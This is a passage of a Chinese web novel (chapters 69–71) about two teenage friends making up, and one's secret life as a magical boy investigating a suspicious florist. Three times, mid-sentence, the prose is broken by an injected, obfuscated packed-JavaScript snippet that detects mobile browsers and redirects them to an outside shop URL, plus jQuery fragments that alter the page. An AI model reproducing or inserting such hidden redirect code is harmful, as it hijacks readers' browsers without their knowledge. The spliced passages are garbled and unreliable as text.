“当年我就耽误了一下你练琴,你就不乐意了,怎么不想想你还耽误陪我玩了呢?还冲我发火,还冷战,我那个时候才八岁啊,你那么大人竟然忍心跟那么可爱的小朋友生气……” “打断一下,我也就比你大一个多月。而且你那个时候还黑胖黑胖的,跟可爱……你要硬说,倒也不是不能沾边。” “……” 罗乐安的眼角瞬间耷拉了下来,嘴角却向上扬起,典型的“皮笑肉不笑”。 “这种时候能不能不要搞你那些‘捧哏’技巧了!你还——想不想跟我和好了!” “当然想!我……” “你别说话,我听了就来气。” 将温朗即将脱口而出的“真情告白”堵回去后,罗乐安用肩膀顶了一下对方,让这个一直金鸡独立的“临时残疾人”顺势坐到床边。 “我那时候其实主要还是不了解小提琴,以为是吉他呢,所以觉得你的练习一直不对,是想帮你来着。” “……” 说完这话,罗乐安抬眼看了下温朗,瞧见对方脸上无语的表情后,他抿了抿嘴,也觉得自己刚刚那番话过于抽象了。 而为了缓解尴尬,他开始无意识地摆弄起了手上的小提琴和……大葱。 没想到还真被他拉出音儿来了。 “诶?竟然真的……额,我是说看!不对,是听!” 他语无伦次了一小下,但很快就找到了重点,“用大葱其实也能拉小提琴的呀!” 罗乐安两手摊开,给温朗展示自己刚刚的发现,可是等了好久,也没等来对方的回应。 这让他的腮帮子一点一点鼓了起来。 “你干嘛一直不说话?是不是在心里偷偷嘲笑我?” 温朗无辜地瞪大眼睛,右手指了指自己的嘴巴,然后用两根食指在嘴巴前面比了个“X”。 get到了他的意思后,罗乐安撅撅嘴巴,依旧不满,却也还是上手,比划了一个“拉开拉链”的动作。 解禁之后的温朗也没有马上说话,而是拉过面前人的手臂,将其手里的琴和弓……不,是葱,拿了回来。 然后他才开口道:“我其实真的是想用这个逗你开心并且跟你道歉的,没想到还没准备好你就来了,不过好在已经练习的差不多了。” “练……习?” 这两个字让罗乐安不禁歪了歪脑袋,“练小提琴?不不不,我是说,用大葱……练琴?” 自己只是没话找话说着玩的啊喂! 他比比划划试图解释,但是温朗并没有说话,只是微笑着将小提琴架在颈部。 然后,又把大葱搭在了琴弦上。 看样子是要来真的,对方真的是不惜装疯卖傻也要哄他高兴。 罗乐安心里顿时感觉酸胀胀的,有感动,也有懊悔。 在他的记忆里,虽然温朗总是会迁就自己,偶尔还会陪着他玩一玩非常幼稚的角色扮演游戏,可事实上,对方其实一直是一个好孩子。 说的不好听一点,是那种一直身处神坛的、跟所有人——除了他自己——都很有距离的典型模范。 尽管他讨厌太过正经的人,却唯独喜欢温朗端坐高台。 对方可以迁就自己,可以宠爱自己,但自己就是不想把对方拽下来和自己一块儿发疯。 就,不太舍得。 只是谁能料到自己一次拿乔,就把温朗逼成这样了呢? “不……” 他伸出手,想要阻止温朗“装疯卖傻”的行为,却不料手指刚动弹了那么一下,下一秒,悠扬动听的旋律在房间里响起。 琴声清澈又悦耳,明亮的高音如星光闪烁,旋律时而轻盈跳跃,时而温柔盘旋,颇有一种天真烂漫的感觉。 而且一点都听不出来这是用大葱演奏出来的。 《小星星变奏曲》。 罗乐安很快就辨认出了曲子,倒不是因为他音乐天赋突出——事实上很一言难尽——而是因为这首曲子正是当年温朗考级要演奏的曲子,也是当时他俩吵架的受害者兼导火索。 没想到十年过去了,竟然还能听到,而且还是这么有……生活气息的版本。 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737254|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着倒是比十年前悦耳不少,大概是由于这首曲子的身份变了。 当年是横亘在自己与温朗之间的“第三者”,如今却摇身一变,成了修补他俩感情的“粘合剂”。 除此之外,他高兴还因为温朗并没有跌下神坛,只是注入了一些——唔,幽默细胞。 这样也可以说是皆大欢喜了。 不过…… 看着温朗拉完琴,眼神发亮盯着自己的模样,罗乐安暗搓搓的小心思又忍不住想要跳出来作一作了。 “啪啪啪!” 他先是为刚刚的演奏热烈鼓掌,紧接着笑靥如花,开始铺垫自己的要求。 “恭喜你,只差一步,就能解锁‘和乐乐和好如初’的成就了,请问你是否要接受挑战?A接受,B乐意至极~” 听到他的话,温朗先是一愣,而后很快脸上就绽放出了笑容。 这可是罗乐安特意递上的台阶,只有傻子才会拒绝。 “我选B。” 温朗家的客厅,此时一家(其他)三口正齐聚一堂,端坐在客厅沙发上,一边看卡通频道的动画,一边等待着卧室里的两个人出来。 出来之后,就能开饭了。 “从老哥的琴声里能听得出来,他跟乐乐这次指定能和好。” 看完动画片的温霁站起身,一边活动身体准备跟跳片尾曲的舞蹈,一边非常笃定地跟父母分享自己的推论。 “你倒是真自信,可别给你哥立什么flag了。” 温父拿起手机,准备刷一会儿静音小视频。 “不过其实每次看小朗吃瘪,我都莫名觉得开心——我这当爸的是不是太坏了?” “没有啊~” 那边母女二人,齐声将温父心中缓缓升起的愧疚推翻。 “好了好了,别聊天了,我要跳舞啦~” 电视里的片尾曲前奏已经响起来了,温霁连忙禁了自己亲爹的言。 只是客厅一恢复安静,她就感觉今天的音乐似乎是二重奏。 而还没等她反应过来,前奏就已经结束了,她连忙举起双臂准备跟跳。 结果,脚刚迈出去,还没落地,一道惊天地泣鬼神的歌声就在房间里炸开了,直接让她一个滑跪。 “晨光吻过我的校服衣角,胸口藏着日月星辰符号,指尖轻轻触碰魔法的坐标,变身,把整个世界闪耀~” 如果不是有屏幕上的字幕作为辅助,温霁真的很难把声音里的歌词和电视里正在播放的片尾曲画上等号。 “为什么……” 她看向自己双手扶额恨不得挤进沙发缝里的老父亲,声音颤抖,“老哥……为什么……要让大乐……唱……歌……” 不止是外面的一家三口非常崩溃,卧室里的温朗也一样有些后悔。 倒不是后悔答应罗乐安的要求,主要是后悔自己太过冲动,明明还可以找到一些迂回的方法满足对方的要求,而不是像现在这样,真的是硬上。 就算是听了这么多年,他还是一样会被罗乐安可以上西天取经的歌喉吓到。 好在这首《晨光与星冕》不长,在他的意志力崩溃前,对方终于唱完了最后一个音。 罗乐安本人很满意这次的演唱,他已经很久没有这么酣畅淋漓地唱过歌了——除了任穗,别人每次组团唱K,都会自动屏蔽他。 “呼……恭喜你,重新拥有了我这个好朋友~” 听到他的话,温朗也在心中暗暗舒了口气。 但是还没等他放松多久,罗乐安又提出了新的要求。 万幸的是,这次的要求很容易完成。 “作为我们重修旧好的奖励,我准备今晚在你家写作业,顺便打地铺。” “嗯?”温朗歪头,“写作业我理解,留宿也没关系,可打地铺……” “你这不是腿上有伤嘛,我怕我不小心碰到,还是睡地板比较保险。哎呀,不用担心着凉,地暖烧得这么旺,我不上火流鼻血就不错了。” 话倒是没错,可温朗依旧不理解。 “那样的话,可以等到我过几天伤好了,你再来住……” “不行!” 罗乐安连忙打断并驳回,脸上的表情甚是严肃。 “必须是今天,现在——对,我也不用回去了,直接跟胡女士说一声就完事儿了,至于换洗衣物和洗漱用品我直接用你的就行。” 如此急迫,必有猫腻儿。 “乐乐,到底怎么了?你跟胡阿姨也……吵架了?” “哎呀,跟胡女士没关系,好吧,也算是有那么一咪咪的关系,但并不是主要原因。” “那到底是发生什么了?” 听到温朗的问题,罗乐安抿了抿嘴,最终还是叹息一声,软了下来。 “主要是,我实在是不想跟耶和华睡一个屋。” 温朗:“……(⊙_⊙)?” 69. APPLE① 罗乐安卧室里的60W豪华大灯泡,最终还是在第二天,在隔壁温叔叔的帮助下,成功退役,换回了28W的“普货”。 而在“天堂之灯”退役前,他在温朗房间的地板上也留宿成功了。 并且也在睡前的“Talking环节”中,解开了压在他心底的疑惑。 首先,就是温朗和任穗的历史遗留“三角形”问题。 “当时任穗来找我,其实是拉我出牛角尖,劝我先去给你道歉。” “啊?那她干嘛还要瞒着我?还故作神秘误导我!” “……大概,嗯,可能,是顾及你的面子,吧?” “这样啊,她还有这么贴心的时候呢?” “……唔。” 除此之外,还有一个更重要的问题也得到了解决。 那就是对方昨天不及时逃走、反而一定要留在危险之中的理由。 “我以为……我以为L-RAether是你,担心你遇到危险,所以想留下来帮你,结果……是我错了,太过盲目自信。” “可你之前不是还说,我不像L-RAether那样有脑子吗?哼!” “我……说过这种话吗?” “你当然说过!我已经截图取证了,你休想抵赖!” “我没想抵赖,我想起来了,我错了,对不起。” “所以你为什么要说我没脑子?!你知不知道这句话,特别特别特别让我伤心啊!” “我……” 听到罗乐安的声音里弥漫出了哭腔,温朗心里的懊恼和后悔更加泛滥了,“那句话,其实主要是想说给我自己听。” “……啥意思?这是你对我的,刻板印象?” “当然不是!是一种自己骗自己的自我安慰。” “啊?” 躺着聊了这么久,罗乐安终究还是因为这句话而坐了起来,两只手搭在温朗的床沿上,只露出一双圆圆的眼睛,还有头顶弯成了两个问号的大毛和二毛。 “阿朗啊,你是不是最近学业压力有点大啊?” 不然人也不至于这么混乱啊! “不是……我是说……我是说,其实那个时候,我心里应该就已经有点怀疑你是L-RAether了,但下意识又不想承认。” “为什么?” “因为我觉得如果是真的,以你嘚瑟的性格一定会第一时间和我分享这个秘密,但是你没有,要么是我猜错了,要么就是你有意瞒着我,而后一个理由让我多少有些伤心。” “唔……” “还有就是,我也不希望这件事是真的——如果你真的是L-RAether,那就代表你时不时就处在危险之中,这会让我非常担心。” “这样啊……” “嗯,幸好是我猜错了。” “……” 听到他的话,罗乐安卷曲的呆毛们放松下来,人默默躺了回去。 他此刻满心只有庆幸,甚至这种情绪都侵入了他的梦里。 自己之前的决断,是多么英明神武啊! 当时他隐隐约约听到温朗在喊自己的名字,其实就大概猜到了自己的马甲可能有点掉。 尽管不知道具体是哪里露的馅,可他也明白,当下不是反思这个的时候,重中之重,是要想办法先把马甲上漏风的窟窿补上。 于是在温朗从高空坠落、自己奋力将人接住后,他趁着四起的烟尘遮蔽众人的视线,甚至都没来得及给自己治疗,第一时间就联系了丧丧想办法。 然后他用刚得到的苦楝树种子,兑换了可以模糊记忆的魔法小道具——织言沙漏。 再然后他就在老韩头和其他老师围上来的时候,稍稍篡改了他们的记忆,把自己安插在他们的意识中,给自己做“在场证明”。 而后面的发展也和罗乐安预估的差不多,温朗因为老师们的“伪证”,放下了把他跟L-RAether划等号的“正确执念”,从而成功地保住了马甲。 真的是,可喜可贺啊~ 然而果真如此吗? 实际上对于罗乐安而言,事情还远未结束。 “丧丧,还是查不出来吗?” 这天是停课的第四天,也是居家上网课的第三天。 罗乐安除了第一天还能跑跑图书馆,找找苦楝树相关的资料,其他时间都只能待在自己卧室里,举头望屏幕,低头思考题,偶尔借助摄像头死角,用手机继续查找和苦楝树相关的资料。 却还是一无所获。 所以他只能再次,把希望寄托在了同是天外来客的丧丧身上。 “你是外星精灵,那个能量也是外星能量,你们真的就一点交集都没有吗?没听说过‘六人定律’吗?” 「……宇宙有多大你是一点都不考虑啊!」 丧丧的声音一改之前总是游离在外“一切雨我无瓜”的、半死不活的不智能ai感,反倒是充满了无力、疲倦和麻木。 主要是这几天,它一直在遭受罗乐安的骚扰,这让原本只是缺乏主动性的精灵身心俱疲,被迫开始变得主动。 可也依旧没啥进展。 「再说了,宇宙里的生物一多半都不是人,连碳基生物都不是,你竟然还指望『六人定律』?开什么玩笑!」 瞧—— 把丧丧折磨得都会吐槽了。 “万一呢?说不定能碰上奇迹呢!奇迹丧丧?” 「别再给我起外号了……」 “哎呀,叫什么不重要!话说你们精灵——我是说你和你的同事们,有没有群啊?不行你发群里问问呢?” 「但是我流落到地球之后就接不上之前的星际网了,不然我早就让它们想办法把我接回去了。还好我之前未雨绸缪,缓存了许多有用的东西。」 “你们……还真有群啊!” 「罗乐安。」 “不对,这不是重点。” 「罗乐安?」 “重点是你跟未雨绸缪这个词儿也不搭啊,能不能别总是OOC啊。” 「罗乐安!跟谁聊天呢!」 “周老师我在呢!在呢在呢!” 罗乐安终于反应过来英语老师在叫自己,慌张之下下意识就站了起来,结果肩膀一下子就撞到了一旁的书架,几本搭在外侧的书噼里啪啦掉了一地。 只是他根本来不及管,连撞疼的肩膀来不及揉,“歘”一下重新坐下。 还好周老师对自己的前课代表还算了解,没去掰扯“灵魂出窍去喝水”这事儿的可能性,继续讲卷子。 至于被轻轻放过的罗乐安,却并没有因此而轻松,毕竟除了还没解决的谵蘖问题,他还要做六七篇阅读理解和完形填空。 就算他擅长英语,也真的还是很沉重啊。 好不容易听到周老师宣布下课,他长舒一口气,起身想要真的去喝水,一抬眼却看到一旁被自己刚刚撞到地上的那几本书,便想着先收拾一下。 结果刚蹲下,就在一堆漫画里,发现了一本非常陌生的书。 “《森罗万象绿手指手札》?这啥啊?哪儿来的?名字怎么这么拗……口?” 一边吐槽,他一边随手将书翻开,然后,就愣住了。 * “您好,您点的法式草莓蛋糕和焦糖玛奇朵,请慢用。” 听到服务生的话,罗乐安心不在焉地点点头。 他的心思现在全然不在吃的东西上,眼睛一直盯着橱窗外,脑门都快顶到玻璃上了。 而他面前的桌子上,除了“上午茶”套餐,还有一本不算太厚的册子。 正是那本《森罗万象绿手指手札》。 三天前他无意中发现了这本被自己遗忘的册子,尽管一开始没反应过来这册子的来历,不过在翻开后,他很快就想起来了。 “矢车菊,俗称恶魔花、红石竹、蓝瓶子……力量是爱情,爱情?除了玫瑰还有别的花也代表爱情吗?诶?下页还有……魔法用途?女性将这种花佩戴在胸前,能吸引男人的爱。或者将一朵花放在口袋里,花会根据追求的成败,呈现枯萎或新鲜两种状态……这不就是商家糊弄人的花语的升级版吗?桑叔费这么大功夫就整了这么本封建迷信小广告?太离谱了吧!” 一边念着书上的内容,罗乐安一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740681|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边嘀嘀咕咕地点评着。 直到往后又翻了几页,他发现自己还是草率了。 原来还有更离谱的事情还在等着他! 圆叶风铃草,茉莉,康乃馨,绣球,南非香叶木,南瓜,苦楝。 他在这本书里,找到了之前遇到过的、所有变成谵蘖的植物。 真的是太可疑了。 而更可疑的,是给自己这本册子的人,桑榆竹。 “可是……真的是他吗?” 这几天,罗乐安一直在考虑这个问题,可以说是茶不思饭不了,卷子的正确率直线下滑。 却依旧得不到一个肯定的答案。 因为刨除掉“自己把这本书完全忘掉”这个意外,这个答案实在是太太太太——太直给了。 如果谵蘖真的跟他有关,那线索也未免太早就送到自己面前了吧! 而且就这么把自己暴露在他面前,得失多大智才能干出这种事啊! 难道说,这个人,是在试探自己? 说不定,其实对方也并不知道谁是L-RAether,所以就广撒网,给所有顾客都发过小册子。 这样只要看谁先按捺不住,谁着急露馅,他就能锁定答案。 真是……卑鄙啊! 罗乐安对此非常之不齿,却又不能置之不理。 收获总是伴随危险。 想要得到进一步进展,总得赌一把。 万一线索,真的就在桑榆竹身上呢? 这么一看,还是得问。 但重点是,要怎么问。 如何才能既得到自己想要的答案,又不会打草惊蛇,暴露自己呢? 这个问题实在是让罗乐安非常苦恼,不然也不会在发现手札上的线索后,忍了好几天才来“探店”。 当然,也有必须在家上网课的因素在。 魔法少男和高三学生,还真的是水火不容的两种身份啊! 不过,尽管他今天好不容易借着要“独立自主”的理由,成功抛下还负伤在家休养的温朗来图书馆这边,却并不敢直接上门,只能先来园艺馆对面的咖啡店,隔空踩点。 然而这样的效果并不太好,隔着两道门,自己根本啥都瞧不着,只是偶尔能瞧见桑榆竹从店里出来,倒腾店门口的几盆花。 真的就很像一个普通的花店店主,除了眯眯眼这点瞧着有些刻板上的危险,其他都很正常。 还是得进去聊聊。 找个什么由头呢? 罗乐安一边思考,一边享用温度已经快趋于一致的蛋糕和咖啡。 虽然蛋糕有点温,咖啡有点冷,但味道还算不错。 就是比对面“花星巡宙园艺馆”的点心要逊色一些。 想到这个,他就更伤感了。 毕竟万一桑榆竹真的有问题,自己可能就再也吃不到对方做的蛋糕了。 那真是……又多了一件让他上火的事。 这也让他的表情从心事重重的凝重,逐渐转变成怅然若失的伤感。 而这家店的服务生,似乎因此而误会了。 “您好,打扰一下。” “嗯?” 听到有人叫自己,罗乐安叼着叉子仰起头,一副没反应过来的模样。 只是这个样子在服务员眼里,就像是一只被人抛弃的可怜小狗狗,特别是眼角还带着水珠,这让原本想来推销圣诞新品的服务生,瞬间就改变了策略。 “您好,店里最近为了庆祝圣诞而推出了限定新品,兔兔苹果糖,今天刚好有试吃活动,您要来一根吗?” 看着递到自己面前的那支包装在透明包装袋里、被切成兔子形状的、Blingbling的苹果糖葫芦,罗乐安原本还有些困的精神一下子就精神了。 对啊! 圣诞节啊! 这不是现成的上门理由吗?! 计上心来的罗乐安,表情一扫之前的阴霾,喜笑颜开。 且面若城墙。 “小姐姐~” 他眼睛笑成弯月,声音也甜似蜜糖。 “请问这个试吃,限量吗?” 70. APPLE② “欢迎光临~” 门口铃铛响起的时候,桑榆竹正在一边喝茶,一边惬意地看书。 有多惬意呢? 听到有人来,他甚至没有第一时间起身招呼,而是悠哉地将正在读的那页书看完,甚至又喝了一口茶水,然后才抬起头望向门口。 而在看到来人是罗乐安的时候,他也没有表现出什么惊讶的反应,只是神色如常地跟人打招呼。 “好久不见了,乐乐。” 的确是很久没见了,上次见面,应该还是家长会遭遇南非香叶木变异那天。 那时的罗乐安还对桑榆竹十分感激,没想到一个来月过去,对方竟然就已经上了自己的嫌疑人名单。 还拔得头筹,并且唯一。 罗乐安原本想着这么久不见,对方看到自己一定会表现出一些惊喜或者高兴的反应,这样他就能顺势寒暄,并慢慢展开话题。 谁料这个人,根本不按套路出牌。 特别是配合那双笑眯眯的眼睛,桑榆竹平静得太像一个高深莫测且运筹帷幄的大佬了。 “哈,哈哈,好久不见啊,桑叔,你……” 一边客套着,他一边缓缓走进店内。 他在试图找回节奏,却在看到对方的小茶桌时顿住,脸上的笑容也凝滞住了。 桌子的另一侧,放着一副全新的杯碟,里面是还在冒热气的红茶,以及装饰得十分精致且并未动过的草莓挞,俨然一副在等人的模样。 而结合桑榆竹前面的表现,罗乐安大胆猜测,对方等待的人正是自己。 “桑叔你……好像早就知道我要来的样子诶。” 尽管他努力控制了,可语气中还是透露出了一丝谨慎。 “该不会,是掐指一算,算出来的吧?” 不过对方好像是并没有察觉到这点似的,依旧表现出恰到好处的热情。 “我倒是没有那么厉害的本领,只是刚刚我出门的时候,看到你在对面的店里,就在猜你等下会不会来找我,于是顺便做了下准备。” 说着,他喝了口茶。 “看来我猜对了,但是就算猜错也没事,我可以自己负责把点心吃掉——所以,吃完草莓蛋糕之后,乐乐你还有肚子吃一块草莓杏仁挞吗?” “啊?啊,当然有。” 罗乐安懵圈圈地坐下,吃了两口点心,又喝了口红茶,脑子里的那根被绕乱的神经终于抻直。 “对了,这个!” 他想起自己此次前来的目的,连忙放下茶杯,将从进门就一直举着、结果又被自己完全忘记的左手伸到桑榆竹面前。 “我刚刚在对面得到的试吃,兔兔苹果糖,味道不错,样子也很可爱,重要的是寓意好。桑叔,提前祝你圣诞节快乐~” 此时距离圣诞节其实还有将近两个周的时间,这个祝福的确是有些太早了,只是各个商铺早就已经开始营造节日氛围了,所以从气氛的角度看,倒也不显突兀。 只是罗乐安好不容易找的破冰角度,很快就被桑榆竹堵上了。 “这个的确味道不错,你可以带回去给温朗尝尝看。至于我,就不用了,这里还有昨天对面给的三个,我这个岁数牙口不比年轻人,吃得慢。” 他一转头,就瞧见在吧台一侧小花瓶里插着的三根被切成兔子形状的苹果糖葫芦,萌哒哒,亮晶晶,对他而言却又无比嘲讽。 刚找回来的节奏,又乱了。 在这之后的十分钟里,罗乐安专心喝茶吃点心,桑榆竹也什么都没说,重新拿起手边的书看了起来。 而在吃完了酸甜美味的草莓挞后,前者的脑袋终于清明了一些。 对,不能这么拘谨,这样一点都不自然。 要像平时那样,阳光一些,莽撞一些,这样才不会令人起疑。 想到这里,他放下茶杯,准备直接就“圣诞节”的话题展开日常闲聊。 至于怎么过渡到自己想要问的事情,可以边聊边想。 “桑叔,关于那个……” 罗乐安抬起头开启聊天,只是话才说到一半,余光瞥见桑榆竹手里的书封,整个人一下子就卡壳了。 《植物魔力生活:24节气魔法手作与仪式》。 似乎已经不用再费心考虑如何转移话题了。 因为现成的理由已经送上门来了。 “怎么了?乐乐你想问我什么?” 由于罗乐安的话迟迟没有下文,桑榆竹抬起头,一手端起茶杯,微笑问道。 “我是想说……” 前者目光下移,紧紧盯着后者手里的硬皮书,语气有些愕然,却也是发自肺腑的自然流露。 “桑叔你还对这方面……感兴趣?” “这方面?” 桑榆竹怔愣了一下,而后很快反应过来,“你是说这个啊~” 说着,他将手里的书举高,还晃了两下。 “对,我之前还以为桑叔你是坚定的唯物主义者,没想到也会对……魔法这类东西,有研究。” “哈哈哈,哪里说得上是研究,只是随便看看,还怪有趣的。” 一边说,桑榆竹一边拿起一枚银杏叶书签放进书页里,将书合上后顺手放在了小桌上。 “有趣?我还以为桑叔只觉得种花有趣呢。” 罗乐安也顺手将那本书拿了起来,就着书签翻开。 【立秋魔法手作:能量转化许愿瓶。】 【材料:橙红色系宝石(如太阳石、红玛瑙),一小撮干迷迭香,金箔碎片,棕色小玻璃瓶。】 唔。 他眨了眨眼,开始怀疑自己是不是想错了。 这与其说是诡谲的巫术或者黑魔法,更像是一本少女心泛滥的手作书。 “原来——桑叔你是准备上新新产品吗?这是……内容营销的指导手册?” 桑榆竹被罗乐安的话彻底逗笑了,嘴里的茶水都差点喷出来。 “咳、咳咳……不是,我没打算卖这些东西,咳。我看这个,纯粹是想要了解植物的另一面。” “另一面?” “我是说,科学研究暂时还无法解释的,另一面。” “唔?” 罗乐安听得迷迷糊糊,忘记了自己想问的事情,完全跟着对方的节奏走了。 而在听到他的疑问音节后,桑榆竹放下茶杯,两手交握抵着下巴,脸上依旧是微笑的眯眯眼。 “植物是有情绪的,也是有欲望的。” 这话罗乐安信,毕竟已经有科学证实了,于是他点点头,依旧是一副呆萌的样子。 可是就在下一秒,他的表情因为桑榆竹的一句话,瞬间凝滞。 “我想,这点你应该是非常清楚的。” “你!什么意……” 因为这句话,罗乐安有些失态,“歘”地一下站起身,只是还没等他的话说完,店门口的铃铛就响了,打断了他的诘问。 “欢迎光临~有什么需要的吗?” 桑榆竹也站起身,走到门边招呼客人,留在桌边的罗乐安闷闷坐下,独自消化着对方的那句话。 这一消化,一周时间就过去了。 而在经历了近两个周的停课后,12月19日,湖灵高中东西校区齐齐复课。 这是一个平平无奇的周一,和以往的周一没多大区别。 要说哪里不太一样,就是升旗仪式暂停。 这倒不是之前苦楝树爆发遗留的问题导致,仅仅是因为——今天是迟来的月考日。 而这,也让原本就因为蜗居在家十多天的学生们,更加萎靡不振了。 “我要吐了……” 任穗扶着常映月,踉踉跄跄地往食堂方向挪动。 原本早上的时候,她还活力满满,并兴致勃勃。 之前在家上网课的日子,温朗受伤,罗乐安也不知道在忙什么,除了一开始在群里报了平安,之后几天,两个人——连带着没什么自由的小学生温小葵——的微信就像被卸载了一样,根本找不到人,这导致研究会的线上会议,直接因为与会成员过少,完全开不起来。 好不容易等到开学复课,她一早就来到校门口想要堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749393|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,并进行异常迟来的、面对面不可逃避的讨论。 她实在是有太多问题想要问温朗了,毕竟对方之前和L-RAether单独被困在迷宫里那么久,说不定有找到这个神秘魔法使真实身份的线索。 结果没等来罗乐安和温朗,却先等来了常映月,然后她就被后者直接带到了考场,这才终于想起今天还有“考试”这么一个日常任务要清。 这一清,就是整整一天。 考完最后一科之后,任穗已经完全没有了讨论的热情。 不,连欲望都消失了。 只是当她在食堂喝完一碗番茄牛肉汤后,新的探索欲降临了。 “你们两个……难不成还没和好?” 任穗捧着煎饼果子,一边像小仓鼠一样啃啃啃,一边观察着自己对面的两个人,眼睛左右来回转,非常之“贼眉鼠眼”。 然而夸张造作成这样的表演,甚至都引来了一两个路人驻足,却也依旧没有引起罗乐安和温朗的关注。 这俩人默契地处在一种魂游天外的状态里。 尽管没把饭喂进鼻子,可任穗敢用自己的语文成绩打赌,他俩估计连饭菜咸淡都没尝出来。 不过刚刚的话大概是触发到了关键词,对面那俩人在听到之后本能地“回魂”了。 “没有啊,当然早就和好了!” 温朗抬起头,表情认真,义正辞严,“跟你们分享一下我的经验,吵架一定不能过夜。” 说着,他拉起一旁罗乐安的手,两手交握,给对面两个女生展示他俩深厚的友谊。 就是他的话,引来了其余三人非常一致的白眼。 “你说这话亏心不亏心啊!” 将左手从温朗手里挣脱出来,罗乐安毫不留情地戳穿了对方的挽尊,却也没否认两个人和好的事实。 “但是的确和好了——不和好,我是不会允许他坐我身边的。” 听到他俩的话,任穗略微松了口气,却还是对两人刚刚的状态表示不解。 “既然都和好了,那你俩怎么还这么没精神?” 任穗的问题,让对面二人齐齐地叹了口气。 罗乐安最大的烦恼,自然还是来自谵蘖。 以及桑榆竹。 自己上次去店里想要一探究竟,最后却铩羽而归,没得到什么有效信息,更没洗刷掉对方的“冤屈”,反倒因为最后那句奇怪的话,对这个人的怀疑又增加了。 只是之后的一周,他被学业这座大山压得完全透不过气,没有时间也没有精力去二探,导致这事儿只能哽在他的心里,硌的他难受。 “我今天,数学最后三道大题都没来得及做……甚至连‘解’字都没写。” 这是他唯一能说的理由,却也是大实话。 就是那么刚好,今天的考试题目难度之高,让他整个人从上到下、从里到外,全都更——加难受。 然而这个理由却不太能说服任穗。 “别开玩笑了,我还不了解你吗?你能因为这个就愁成这样?温朗,你信吗?” 温朗:“我信。” 任穗:“……” 谁能先把这人滤镜摘一下子? 不过温朗这么说,还真的不全是滤镜作用。 尽管他的烦恼,更多是因为在意罗乐安的烦恼。 只是自己搞不清楚这人在烦些什么,对方不说,他也就不好过问,烦恼便在心中一直盘亘着。 可是这种事不好跟外人直说,好在这场考试,给了他另一个真情实感的理由。 “这次的考试难度真的很大,我数学和理综的最后一题,其实都不是特别把握,成绩说不定会退步。” 所以,他可太感同身受了。 但是这话,在任穗听来,仅仅只是玩笑again,甚至是更大的玩笑。 “算了算了,不想说就不说,干嘛要搞这种理由搪塞我嘛!” 任穗皱皱鼻子,开始享用自己的晚餐,不再纠结这个问题。 然而在场所有人都没想到,温朗的烦恼,成真了。 71. APPLE③ “看来之前受伤,到底还是影响到了温朗,不然就算这次题目难度大,总分也不至于掉到七百以下。” “是啊,估计还有跟罗乐安吵架的原因在……希望高考前他俩的感情能够一直保持稳定,别再出什么幺蛾子了。” “那还是得祈祷别再有怪物出现了,不然咱整个学校能不能保住都不好说了。” “呸呸呸!别说这么不吉利的话!” “就是就是,我可还有贷款要还呢,快点收回!” …… 罗乐安抿了抿嘴,悄声从数学组的办公室门口溜走。 正值大课间,教学楼内的厕所人满为患,他便打算来办公楼“错峰”。 本来马上就要回去了,谁料瞧见自家班主任从数学组推门离开,秉持着“多一事不如少一事”的原则,他下意识就躲到了拐角里。 然后,就从开着的门缝里,偷听到了上述内容。 没想到,阿朗的成绩真的受到影响了。 该死的谵蘖! 极其自然地把自己的影响完全摘出去的罗乐安,揣着一肚子的气回到了教室。 不过他屁股都还没坐稳呢,任穗就先一步弹射到了他面前。 “乐乐乐乐乐乐乐乐——” “停!喊一遍就行,我听得见,不知道的还以为你在这儿拿我练弹舌呢。” “哎呀,你别贫了!” 任穗没接罗乐安话茬,只是在他面前猛地拍了一下巴掌,让他从上到下连头顶两根呆毛都一激灵,注意力也随之都全部集中在了她的身上。 而后,她才缓缓开口。 “你听说了吗?” 声音平稳,却猛地突脸。 “这次的考试成绩……” 接着故意压低声音。 “温朗真的退步了!” 最后表情突然狰狞。 非常完整地一套惊悚片演绎套路,只可惜对罗乐安丝毫不起作用。 因为后者在这事儿上开了上帝视角。 “他总分掉到六百九十八,不过还是年级第一,我刚刚已经知道了。” 他恹恹地用手撑住脑袋,转头不再理会任穗的大呼小叫。 虽然这不是自己的错,可又的确不能说和他无关,搞得他现在莫名其妙的还有点内疚。 明明他也是受害者啊! 瞄着自己又“滑坡”到及格线的数学试卷,罗乐安心中一阵郁卒。 除了生气,还有无力。 自己懒得学或者学不学的明白是一回事,因为不可抗力而导致成绩退步是另一回事,后者明显更加让人恼怒。 总觉得,谵蘖给自己生活带来的侵扰,正在逐渐扩大。 这可不是个好兆头啊…… 而且,还把无辜的温朗也卷进来,把他原本顺遂的生活搅得乱七八糟,这点绝!对!不!可!原!谅! 